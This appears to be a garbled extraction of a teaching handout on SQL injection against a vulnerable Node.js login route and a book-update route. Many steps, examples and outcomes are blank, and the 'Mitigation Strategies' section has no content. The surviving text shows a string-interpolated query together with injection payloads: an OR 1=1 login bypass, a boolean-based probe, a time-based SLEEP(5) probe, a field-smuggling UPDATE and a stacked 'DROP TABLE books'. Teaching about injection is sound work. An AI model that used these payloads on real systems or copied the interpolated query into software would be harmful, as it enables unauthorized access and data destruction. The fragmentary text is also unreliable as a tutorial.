sql injection
sql injection
Attack Steps:
Login Route SQL Query:
const sql = `SELECT * FROM users WHERE username = '${username}' AND password =
'${password}'`;
1.
2. Input Example:
Resulting Query:
SELECT * FROM users WHERE username = '' OR 1=1 -- AND password = 'anything';
3.
4. Outcome:
Purpose: Alter database records or inject new commands into the query.
Attack Steps:
Update Route SQL Query:
1.
2. Input Example:
○ Book ID: 1
○ New Price: 0, title = 'Hacked!'
Resulting Query:
3.
4. Outcome:
Purpose: Extract data by observing the application's behavior (e.g., error messages, response
content).
Attack Steps:
Login Route SQL Query:
const sql = `SELECT * FROM users WHERE username = '${username}' AND password =
'${password}'`;
1.
2. Input Example:
SELECT * FROM users WHERE username = '' AND 1=1 -- AND password = 'anything';
3.
4. Outcome:
Purpose: Extract data by causing delays to infer conditions without visible responses.
Attack Steps:
Login Route SQL Query:
const sql = `SELECT * FROM users WHERE username = '${username}' AND password =
'${password}'`;
1.
2. Input Example:
Resulting Query:
SELECT * FROM users WHERE username = '' AND IF(1=1, SLEEP(5), 0) -- AND password =
'anything';
3.
4. Outcome:
Attack Steps:
Update Route SQL Query:
1.
2. Input Example:
○ Book ID: 1
○ New Price: 0; DROP TABLE books; --
Resulting Query:
3.
4. Outcome:
Prevention:
This attack determines data such as username and password by observing the time it takes for
the database to respond. The attacker leverages conditional statements (e.g., IF) to cause
deliberate delays.
2. Initial Query:
Resulting SQL:
SELECT * FROM users WHERE username = '' OR IF(1=1, SLEEP(5), 0) -- AND password =
'anything';
3.
4. Outcome:
○ If the query delays for 5 seconds, the endpoint is vulnerable to time-based SQL
injection.
1. Query Format:
Resulting SQL:
3.
4. Outcome:
1. Query Format:
Resulting SQL:
3.
4. Outcome:
1. Query Format:
Resulting SQL:
3.
4. Outcome:
Resulting SQL:
3.
4. Outcome:
Mitigation Strategies